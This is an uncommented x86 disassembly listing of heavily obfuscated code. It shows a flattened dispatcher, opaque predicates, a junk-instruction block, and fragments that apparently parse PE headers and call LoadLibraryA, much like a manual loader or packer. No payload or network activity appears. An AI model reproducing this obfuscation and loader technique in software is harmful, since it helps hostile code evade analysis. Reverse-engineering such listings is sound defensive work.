or esi, 0x90200
and edx, 0x79a20050
and esi, 0xd4b0e
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x79a6495e
and ecx, 0x8659b6a1
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x25d7b1ed
and eax, 0x9e7ac2c0
mov esi, ecx
and esi, 0xda284e12
and ecx, 0x61853d3e
or edx, esi
or ecx, eax
mov esi, edx
not esi
and edx, 0x2030db9d
xor ecx, 0x61853d3e
and esi, 0xdfcf2462
or edx, esi
mov esi, 0x3753593f
xor edx, 0xfa18958e
or ecx, edx
mov edx, ecx
not edx
mov eax, ecx
and eax, 0xef926294
andn ecx, ecx, ecx
and edx, 0x106d9d6b
or eax, edx
xor eax, 0xef926294
or ecx, eax
sete ah
cmp dword [0x497380], 0xa
mov cl, ah
setl dl
xor cl, dl
or dl, ah
xor dl, 1
mov eax, ecx
or dl, cl
not al
mov ah, dl
and dl, cl
xor ah, 1
and al, ah
or al, dl
mov edx, ecx
xor dl, ah
or ah, cl
xor ah, 1
or ah, dl
mov edx, 0xfc784b12
mov cl, ah
xor cl, al
test ah, 1
cmovne edx, esi
test al, al
mov eax, 0xfc784b12
cmove edx, esi
test cl, 1
cmove edx, eax
mov eax, edx
jmp 0x402780
mov eax, dword [0x497384]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xbffa0673
mov eax, edx
and eax, 0x8cf20661
and ecx, edx
not edx
and edx, 0x33080012
or eax, edx
mov edx, eax
xor edx, 0x84e00020
xor eax, 0x730df99e
mov esi, eax
and esi, 0x2916e7cd
and edx, 0x96e80032
or edx, esi
mov esi, ecx
not esi
and ecx, 0xd6e91832
or eax, esi
and esi, 0x2916e7cd
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc31aa1dc
and ecx, 0x3ce55e23
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x80120810
xor edx, 0x7ce0a7af
xor eax, 0x9e84876f
and eax, edx
and ecx, 0xac122f1d
and edx, 0x53edd0e2
or edx, ecx
mov ecx, edx
xor ecx, 0x53edd0e2
xor edx, 0x102404
mov esi, ecx
and esi, 0xe26420c0
or ecx, 1
and edx, 0x12d82444
or eax, esi
and ecx, 0xed27dbbb
mov esi, eax
not esi
and eax, 0xb0afd76d
or ecx, edx
and esi, 0x4f502892
xor ecx, 0xed27dbbb
or eax, esi
mov esi, 0x35f1b325
xor eax, 0x52cbf7ac
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x4462a46
and ecx, 0x8331d489
and eax, 0x78880130
or edx, eax
xor edx, 0x4462a46
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x312174be
and eax, 0xcede8b41
or ecx, eax
mov eax, ecx
xor eax, 0x9244d40
xor ecx, 0xa210a023
and ecx, 0xe6dbb2ab
and eax, 0x19244d54
or eax, ecx
xor eax, 0xe6dbb2ab
setne ch
sete ah
cmp dword [0x497380], 0xa
setl dl
setge cl
mov al, dl
and ch, dl
and cl, ah
or cl, ch
xor al, ah
mov dh, al
and al, dl
or dl, ah
xor cl, 1
and dh, ah
mov ah, cl
or cl, dl
xor al, 1
xor ah, dl
xor cl, 1
xor dh, 1
or cl, ah
mov bl, dh
mov ah, cl
mov dl, cl
xor bl, al
or al, dh
xor ah, 1
xor al, 1
and ah, cl
or al, bl
xor ah, 1
xor dl, ah
or ah, cl
xor ah, 1
or ah, dl
mov dl, ah
xor dl, 1
mov ecx, edx
and cl, ah
xor cl, 1
or cl, ah
xor cl, 1
or cl, dl
mov ah, cl
xor cl, 1
and ah, al
xor al, 1
and cl, al
or al, dl
or cl, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xd8613393
cmovne edx, esi
test al, 1
mov eax, 0xd8613393
cmovne eax, edx
test cl, 1
cmove eax, edx
jmp 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov ecx, eax
and ecx, 0x3f6cdb24
mov edx, esi
and edx, 0xc09324da
and esi, 0x1881e1be
or edx, ecx
mov ecx, eax
or ecx, 0x3f6cdb24
and eax, 0xe77e1e41
and ecx, 0x3f6cdb25
or eax, esi
xor ecx, edx
mov edx, ecx
not edx
mov esi, ecx
and esi, 0xef7d181d
and edx, 0x1082e7e2
or edx, esi
mov esi, eax
xor esi, 0x20640
xor eax, 0x1881e1be
or ecx, eax
and eax, 0xef7d181d
and esi, 0x1082e7e2
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0x4ee43c43
xor ecx, 0xffffffff
sete dl
setne ah
cmp dword [0x497380], 0xa
setge cl
setl ch
mov al, cl
or ch, ah
or al, dl
xor dl, cl
mov dh, al
or al, ch
xor dl, 1
xor dh, ch
mov ch, cl
or cl, ah
xor al, 1
xor ch, ah
xor cl, 1
or al, dh
or cl, ch
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor cl, 1
mov ah, cl
and ah, al
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x813612ed
cmovne eax, esi
test dl, 1
not cl
mov edx, 0x813612ed
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x402780
mov eax, 0xd8613393
jmp 0x402780
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
inc eax
mov dword [ecx], eax
mov eax, 0xe596edcd
jmp 0x402780
mov eax, dword [ebp - 0x48]
mov edi, 0xe74a61d1
mov dword [eax], 0x40
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x1579687
and ecx, 0xfea86978
or eax, ecx
mov ecx, eax
xor eax, 0xfea86978
xor ecx, 0x1579687
mov edx, ecx
and eax, 0xfffffffe
and ecx, 1
and edx, 0xfffffffe
or ecx, eax
or ecx, edx
mov edx, ecx
xor edx, 0xa00b174a
mov eax, ecx
and eax, 0x5521124c
and edx, ecx
not ecx
and ecx, 0xaadeedb3
or eax, ecx
mov ecx, eax
xor eax, 0xa00a0502
xor ecx, 0x1040
or eax, 0x5ff4e8b5
and ecx, 0x200a1042
mov esi, eax
and esi, 0xcb718f1d
or ecx, esi
mov esi, edx
not esi
and edx, 0x348e70e2
or eax, esi
and esi, 0xcb718f1d
or edx, esi
not eax
mov esi, 0x7adc7faa
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xedf016f7
and ecx, 0x120fe908
or eax, ecx
xor eax, 0x4dfb01bd
sete ah
setne ch
cmp dword [0x497380], 0xa
mov cl, ah
setl al
setge dl
xor cl, al
xor ch, dl
or dl, ah
or al, ah
and cl, ah
xor al, 1
xor cl, 1
or al, ch
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
mov edx, eax
or cl, ah
xor cl, 1
or dl, cl
xor cl, al
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0xe74a61d1
cmovne ecx, esi
test dl, 1
cmovne ecx, edi
test al, 1
cmove ecx, esi
mov eax, ecx
jmp 0x402780
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x3c]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0xc]
mov ecx, dword [ebp - 0xd4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0xd4]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov eax, 0x74576835
jmp 0x402780
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, 0x8b369a3a
jmp 0x402780
mov eax, dword [ebp - 0x2c]
mov dword [eax], 2
mov eax, 0xb5d2bff0
jmp 0x402780
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [0x497384]
mov eax, dword [eax]
add eax, 0x34
mov dword [ebp - 0x114], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x939a6af8
and edx, 0x6c659507
or edx, esi
mov esi, ecx
not esi
and ecx, 0x6c659507
or eax, esi
and esi, 0x939a6af8
or ecx, esi
not eax
mov esi, 0x6beec822
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0xfce55276
and edx, 0xfffffffe
and ecx, 0x31aad89
or eax, ecx
xor eax, 0xfce55277
or eax, edx
mov ecx, eax
not ecx
and eax, 0xbbf76e51
and ecx, 0x440891ae
or ecx, eax
mov eax, ecx
xor eax, 0x2a346811
xor ecx, 0x440891ae
mov edx, ecx
and edx, 0x91c307c8
and eax, 0x6e3cf837
or eax, edx
xor eax, 0x6e3cf837
or eax, ecx
xor eax, 0xffffffff
setne dl
sete cl
cmp dword [0x497380], 0xa
mov dh, dl
setl ah
setge ch
mov al, ah
xor dl, ch
and dh, ch
and al, cl
and dl, cl
xor cl, ah
and cl, ah
mov ah, dl
or al, dh
xor dl, cl
xor ah, 1
xor cl, 1
xor al, 1
or cl, ah
or al, ch
xor cl, 1
or cl, dl
mov ah, cl
mov ch, cl
xor ah, 1
mov dl, ah
or ah, al
and dl, cl
xor dl, 1
xor ch, dl
or dl, cl
xor dl, 1
or dl, ch
mov ecx, 0xe01cb9fd
xor dl, al
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0xe01cb9fd
cmovne eax, ecx
test dl, 1
cmove eax, ecx
jmp 0x402780
mov eax, dword [ebp - 0x68]
mov eax, 0x96d189e9
jmp 0x402780
mov eax, 0x84b7a00c
jmp 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
not eax
or edx, 1
mov edi, eax
mov esi, edx
and esi, 0x9693bdaf
and edi, 0x696c4250
and eax, 0xb7effa18
or edi, esi
mov esi, ecx
xor esi, 0xfffffffe
and esi, ecx
and ecx, 0x481005e7
mov ebx, esi
not ebx
and esi, 0x696c4250
or eax, ecx
or edx, ebx
and ebx, 0x9693bdaf
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0xb7effa18
mov edi, esi
and edi, 0x481005e7
or edx, edi
mov edi, 0xf95c5a13
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x4b8efd8b
setne al
cmp dword [0x497380], 0xa
mov ecx, eax
setge dl
or cl, dl
xor dl, al
xor cl, 1
xor dl, cl
mov ch, dl
cmovne esi, edi
not ch
test ch, cl
cmovne esi, edi
test dl, dl
mov eax, esi
cmovne eax, edi
test ch, cl
cmove eax, esi
jmp 0x402780
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x1a8], eax
mov eax, 0xb9306d59
jmp 0x402780
mov eax, dword [ebp - 0x134]
mov eax, 0x813612ed
jmp 0x402780
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x170], eax
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x49277ec6
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0xb6d88139
and ecx, 0x49277ec6
or ecx, eax
mov esi, ecx
not esi
and ecx, 0x73cf8c17
mov eax, esi
and eax, 0x8c3073e8
or esi, 0x82043e80
or ecx, eax
mov edx, esi
not edx
and esi, 0x7dfbc17e
mov eax, ecx
xor eax, 0x73cf8c17
xor ecx, 0x8c004260
mov edi, eax
and edi, 0x82043e80
and ecx, 0xcc4dca62
and eax, 0x33b2359c
or edx, edi
or eax, ecx
mov edi, 0xdfe9532
and edx, 0x82043e81
or edx, esi
mov ecx, edx
not ecx
and edx, 0x8545883
mov esi, ecx
and esi, 0xf7aba77c
or edx, esi
mov esi, eax
xor esi, 0x101080
xor eax, 0xcc4dca63
or ecx, eax
and eax, 0xf7aba77c
and esi, 0x8545882
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0xfb22a114
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x57ec3f49
and ecx, 0xa813c0b6
or edx, ecx
xor edx, 0x57ec3f49
or eax, edx
mov ecx, eax
not ecx
and eax, 0xca83bf42
mov edx, ecx
and edx, 0x357c40bd
or eax, edx
xor eax, 0x357c40bd
xor ecx, eax
test ecx, eax
sete al
cmp dword [0x497380], 0xa
setl cl
xor cl, al
xor cl, 1
and al, cl
xor al, 1
mov edx, eax
xor al, cl
or dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0xdfe9532
cmovne ecx, esi
test al, al
mov eax, ecx
cmovne eax, edi
test dl, dl
cmovne eax, ecx
jmp 0x402780
mov eax, 0x7dd75327
jmp 0x402780
mov eax, dword [ebp - 0xfc]
mov ecx, dword [0x497384]
mov dword [ebp - 0x100], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xdbc57be4
mov edx, ecx
and edx, 0x243a841a
and ecx, 0xa78dff26
or esi, edx
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
and eax, 0x587200d9
xor esi, 0xdbc57be4
or eax, ecx
or edx, esi
mov esi, 0x623555ae
mov ecx, eax
xor ecx, 0x587200d9
xor eax, 0xa78dff26
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x497380], 0xa
setl cl
setge ch
mov dh, cl
and dl, ch
and cl, ah
xor dh, ah
or cl, dl
mov al, dh
xor al, ch
and al, dh
mov edx, eax
mov ch, al
xor dl, 1
and dl, cl
xor cl, 1
xor ch, cl
and cl, al
and ch, al
or cl, dl
mov edx, 0x57f06620
mov al, ch
xor al, cl
cmovne edx, esi
test cl, cl
mov eax, edx
cmovne eax, esi
test ch, ch
cmove eax, edx
jmp 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and esi, 0xfffffffe
and edx, 0xf5fe2b1b
and eax, 0xa01d4e4
or eax, edx
or ecx, esi
mov edx, ecx
mov edi, eax
xor edi, 0x2019424
xor eax, 0x90b22003
not edx
and ecx, 0x674d9f3c
mov esi, edx
and esi, 0x98b260c3
and eax, 0x98b260c3
and edi, 0x674d9f3c
or ecx, esi
or edi, eax
xor edi, ecx
xor edx, edi
test edx, edi
sete cl
setne ah
cmp dword [0x497380], 0xa
setge dl
setl ch
mov al, dl
xor cl, dl
xor al, ah
or ah, ch
and dl, cl
xor cl, 1
and al, ch
mov ch, ah
or cl, dl
xor al, 1
mov edx, ecx
xor ch, al
or al, ah
xor dl, 1
xor al, 1
or al, ch
mov ah, al
and al, cl
xor ah, 1
and dl, ah
or ah, cl
or al, dl
mov cl, ah
mov edx, 0x7901760f
xor cl, al
test cl, 1
mov ecx, 0xb8b0ad4f
cmovne ecx, edx
test ah, 1
mov edx, 0xb8b0ad4f
cmovne edx, ecx
test al, 1
cmove edx, ecx
mov eax, edx
jmp 0x402780
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
movzx eax, word [eax]
mov dword [ebp - 0x7c], eax
mov eax, 0xb44be22d
jmp 0x402780
imul edx
sbb edi, 0x5b
or eax, 0xc9
neg eax
dec ebx
or eax, 0xf7
sub eax, 0x41
add ebx, 2
dec edi
bswap esi
dec ebx
sub esi, 0x7b
bswap edx
dec esi
not eax
imul esi
ror edi, 0xb1
sub eax, 0xed
mov edx, 0xa1
bswap edi
ror edi, 0xdc
sub esi, 0x9f
mov edx, 0xc0
neg edx
not edx
or ebx, 0x16
and eax, 0x46
bswap edi
sbb eax, 0xab
add edx, 3
rol eax, 0xe
rol esi, 0xf6
rcl ebx, 0x64
bswap edi
rol ebx, 0xab
and ebx, 0x6f
rol ebx, 0x6a
imul esi
dec ebx
sbb edi, 0x4b
rol esi, 0xb1
neg esi
neg eax
dec edi
add esi, 0xf0
ror eax, 0x29
sub esi, 0xfd
add edi, 0x12
rcl edi, 0x44
imul edx
ror edx, 0xdb
neg ebx
rcl esi, 0xc1
dec edx
or esi, 0x97
rcl edi, 0xf0
inc esi
or edx, 4
inc ebx
dec ebx
inc eax
neg ebx
neg eax
rcl edx, 0x1b
neg eax
bswap edi
bswap ebx
or esi, 0xa9
and ebx, 0x4f
not edx
rcl eax, 0x3e
ror esi, 0x27
sub eax, 0xaf
add edi, 0xde
rcr eax, 0x80
inc edi
not esi
not eax
rcl edi, 0xfb
rcr eax, 0xcf
ror ebx, 0x72
sub ebx, 0xcf
imul edx
rol esi, 0xd8
dec edi
mov edi, 0x1e
sub edi, 0xce
imul esi
or edx, 0x3a
rcl ebx, 0x3d
add edi, 0xd1
imul esi
sub edx, 0x3f
ror ebx, 0xf7
mov esi, 0x76
mov eax, 0xf4
dec eax
imul eax
inc edx
sub eax, 0x8e
and ebx, 0x49
not esi
dec edi
or edx, 0xaf
sbb edi, 0x50
mov edi, 0x34
or edi, 0x6d
ror esi, 0x8b
bswap edi
bswap edi
imul eax
dec ebx
imul esi
rcr edi, 0xb2
dec esi
bswap edx
inc eax
and esi, 0xcf
and ebx, 0x50
neg edx
sbb esi, 0x34
sbb edi, 0x31
rcr edx, 0x99
neg ebx
neg esi
rcr eax, 7
not eax
ror ebx, 0x71
or edx, 0x98
rcl edx, 0xfe
dec eax
bswap ebx
sbb ebx, 0x43
bswap edx
imul edx
sbb ebx, 0x2c
or ebx, 0xe6
neg eax
sub edi, 0x2b
bswap edx
neg ebx
imul edx
dec eax
bswap edx
dec edi
imul edx
or edx, 0xd7
inc esi
dec esi
not edi
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x20]
mov eax, 0x2eb09fa0
jmp 0x402780
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc4]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x74]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0xb4]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x1b4], eax
mov eax, 0x5bcec549
jmp 0x402780
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
mov eax, 0xa50c0441
jmp 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x11192
and eax, 0x88444844
mov edx, ecx
or edx, 0x621a0228
and esi, 0x621b13ba
and ecx, 0x15a0a401
and edx, 0x621b13ba
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x77baa629
and ecx, 0x884559d6
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xb30d8509
and eax, 0xd94417f0
and ecx, 0x4cf27af6
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0xb30d8509
xor esi, 0x6a4992f9
xor edx, 0x4c127230
and esi, ecx
or ecx, 1
and edx, 0xde167230
or eax, esi
and ecx, 0x21e98dcf
mov esi, eax
not esi
or ecx, edx
and eax, 0x26bbe80e
and esi, 0xd94417f1
xor ecx, 0x21e98dcf
or eax, esi
mov esi, 0xf5e8b9c8
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xd3250399
and eax, 0x2cdafc66
or ecx, eax
mov eax, ecx
xor eax, 0x51240211
xor ecx, 0x2452bc00
and ecx, 0xa653bd88
and eax, 0x59ac4277
or eax, ecx
cmp eax, 0xa653bd88
sete cl
cmp dword [0x497380], 0xa
setl dl
setge al
xor dl, cl
xor dl, 1
xor al, dl
mov ecx, edx
and al, dl
xor al, 1
xor cl, al
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x7b2add6c
cmovne edx, esi
test al, al
mov eax, 0x7b2add6c
jmp 0x4128b5
mov eax, 0x77022028
jmp 0x402780
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xb8]
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0x40048102
mov ecx, esi
and ecx, 0x35524c01
and esi, 0x666fb581
or edx, ecx
mov ecx, eax
xor ecx, 0x7556cd03
and ecx, eax
xor edx, 0x40048102
and eax, 0x99904a7e
or ecx, edx
or eax, esi
mov edx, ecx
not edx
and ecx, 0xe9e93453
and edx, 0x1616cbac
or ecx, edx
mov edx, ecx
xor ecx, 0x200
xor edx, 0x9cbff951
mov esi, edx
and esi, 0x6f7ec4ef
and ecx, 0x90813b10
or ecx, esi
mov esi, eax
xor esi, 0x90800a10
xor eax, 0x666fb581
or edx, eax
and eax, 0x6f7ec4ef
and esi, 0x90813b10
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0xeba74e30
xor edx, 0xffffffff
sete cl
setne dl
cmp dword [0x497380], 0xa
setl al
setge ah
and cl, ah
and al, dl
or ah, dl
or al, cl
mov cl, ah
xor al, 1
xor cl, al
or al, ah
mov edx, ecx
xor dl, al
mov edx, 0x554d0294
cmovne edx, esi
test al, al
mov eax, 0x554d0294
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x402780
mov eax, dword [0x497384]
mov edi, 0x6b77b81f
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x6d7fd0e7
mov eax, edx
not eax
and ecx, edx
or eax, ecx
not ecx
and ecx, 0x92802f18
and eax, 0x6d7fd0e7
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
not edx
and ecx, 0xe8421a44
mov esi, edx
and esi, 0x17bde5bb
or ecx, esi
mov esi, eax
not esi
and eax, 0xe8421a44
or edx, esi
and esi, 0x17bde5bb
or eax, esi
not edx
mov esi, 0xc743d048
xor eax, ecx
or edx, eax
mov eax, edx
not eax
and edx, 0xa00465d9
and eax, 0x5ffb9a26
or eax, edx
mov ecx, eax
xor ecx, 0x43699824
xor eax, 0x80004018
and eax, 0x9c92421a
and ecx, 0x636dbde5
or ecx, eax
xor ecx, 0x636dbde5
sete dl
setne cl
cmp dword [0x497380], 0xa
mov ch, dl
setge al
setl ah
and dl, al
or al, cl
mov dh, ah
xor ch, ah
and ah, cl
not al
or dh, cl
or ah, dl
or al, ch
and ch, cl
xor dh, 1
not al
or dh, ch
mov ecx, 0x6b77b81f
or al, ah
xor al, dh
and al, 1
cmovne ecx, esi
test al, dh
cmovne ecx, edi
test al, al
cmovne edi, ecx
test al, dh
cmove edi, ecx
mov eax, edi
jmp 0x402780
mov ecx, dword [0x497384]
mov edi, 0xe9aa2f24
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x92d1dd66
mov esi, edx
and esi, 0x6d2e2298
and edx, 0x99167fc5
or ecx, esi
mov esi, ecx
xor esi, 0x505560
xor ecx, 0x440e2088
and ecx, 0xd68fa88e
and esi, 0x29705770
or esi, ecx
mov ecx, eax
or ecx, 0xd68fa88e
and eax, 0x66e9803a
and ecx, 0xd68fa88f
or eax, edx
xor ecx, esi
mov esi, ecx
not esi
and ecx, 0xbfe60165
and esi, 0x4019fe9a
or ecx, esi
mov esi, ecx
xor esi, 0x24660021
xor ecx, 0x4019fe9a
mov edx, ecx
and edx, 0xdb8897c4
and esi, 0x2477683b
or esi, edx
mov edx, eax
xor edx, 0x2461003a
xor eax, 0x99167fc5
or ecx, eax
and eax, 0xdb8897c4
and edx, 0x2477683b
or edx, eax
not ecx
xor edx, esi
mov esi, 0x14fee60e
or ecx, edx
xor ecx, 0xffffffff
setne al
sete cl
cmp dword [0x497380], 0xa
mov ch, al
setl ah
setge dl
mov dh, ah
and ch, dl
or al, ah
and dh, cl
xor cl, ah
xor al, 1
or dh, ch
and cl, ah
xor dl, dh
or cl, al
mov eax, 0xe9aa2f24
and dl, dh
xor cl, dl
mov ch, cl
cmovne eax, esi
not ch
test ch, dl
cmove eax, edi
cmovne eax, esi
test cl, cl
cmovne eax, esi
jmp 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x33fc2509
and eax, 0xcc03daf6
or eax, ecx
mov ecx, eax
xor ecx, 0x33fc2509
xor eax, 0xcc03daf6
mov edx, ecx
or edx, 0x35d8046d
mov esi, eax
or esi, 0x1902
mov edi, eax
and edi, 0x4a218090
and edx, 0x35d81d6f
and esi, 0x35d81d6f
or edi, edx
mov edx, ecx
and edx, 0x80066200
and ecx, 0xb3fcda4b
or edx, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0x4a219993
and esi, 0xb5de666c
or edx, esi
mov esi, eax
and esi, 0x4c0325b4
and eax, 1
or esi, ecx
xor esi, 0xb3fcda4a
or eax, esi
not eax
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x40404040
and eax, 0x952ba414
mov edx, ecx
and edx, 0x2a100000
or ecx, 0x22400000
or esi, edx
and ecx, 0x22c41bab
mov edx, esi
xor edx, 0x40004040
xor esi, 0x22841bab
or eax, ecx
and esi, 0x22c41bab
and edx, 0x48104040
or edx, esi
mov esi, 0x80e05140
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xcedec815
and ecx, 0x312137ea
or eax, ecx
mov ecx, eax
xor ecx, 0x84048800
xor eax, 0x5b7177aa
mov edx, eax
and edx, 0x32ab37fd
and ecx, 0xcd54c802
or ecx, edx
xor ecx, 0x32ab37fd
xor eax, ecx
test eax, ecx
sete dl
setne al
cmp dword [0x497380], 0xa
setge ch
mov ah, ch
xor ah, al
or al, ch
or ch, dl
and ah, dl
mov cl, al
xor ah, 1
xor cl, 1
mov dl, ah
or ah, ch
xor dl, ch
xor ah, 1
or ah, dl
mov ch, ah
xor ch, 1
mov dl, ch
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, ch
or ch, al
and cl, dl
xor dl, 1
and dl, al
mov al, ch
or dl, cl
xor al, dl
test al, 1
mov eax, 0x49343f21
cmovne esi, eax
test ch, 1
mov eax, 0x80e05140
cmovne eax, esi
test dl, dl
cmove eax, esi
jmp 0x402780
mov eax, 0x2f779450
jmp 0x402780
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x118], eax
mov eax, 0x56f8b4c6
jmp 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xb432a291
and eax, 0xc0b3200c
mov edx, ecx
and edx, 0x4bcd5d6e
or ecx, 0x18000300
or esi, edx
and ecx, 0x3840c7f1
mov edx, esi
xor esi, 0x8000100
xor edx, 0x4000000
or eax, ecx
or esi, 0x2040c4f1
and edx, 0x70c1802
and esi, 0x3840c7f1
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x21da1b63
and ecx, 0xde25e49c
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0xc129ff9e
xor ecx, 0x3ed60061
xor edx, 0x3ed60060
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0xef48fc28
mov esi, eax
and esi, 0x10b703d7
or edx, esi
mov esi, ecx
not esi
and ecx, 0xef48fc28
or eax, esi
and esi, 0x10b703d7
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov esi, eax
or esi, 0x10904201
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x2f6e39bc
and ecx, eax
and esi, 0x15f64a81
and edx, 0x2a08313c
or edx, esi
mov esi, ecx
not esi
and ecx, 0xea09b57e
or eax, esi
and esi, 0x15f64a81
or ecx, esi
not eax
mov esi, 0x88a9f7fe
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xd091c643
and eax, 0x2f6e39bc
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x798477ef
mov edx, ecx
and edx, 0x867b8810
or eax, edx
xor eax, 0x867b8810
xor ecx, eax
test ecx, eax
setne dl
sete cl
cmp dword [0x497380], 0xa
setl ch
mov al, ch
or dl, ch
or al, cl
xor cl, ch
xor dl, 1
xor al, 1
or al, cl
and cl, ch
or cl, dl
mov ah, al
mov edx, ecx
not ah
and cl, al
xor dl, 1
or al, dl
and dl, ah
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x42b5674c
cmovne ecx, esi
test dl, 1
mov esi, 0x42b5674c
mov edx, ecx
cmovne edx, esi
test al, al
cmovne edx, ecx
mov eax, edx
jmp 0x402780
mov eax, dword [ebp - 0x50]
mov eax, 0xf959ca22
jmp 0x402780
mov eax, 0x793c5c8d
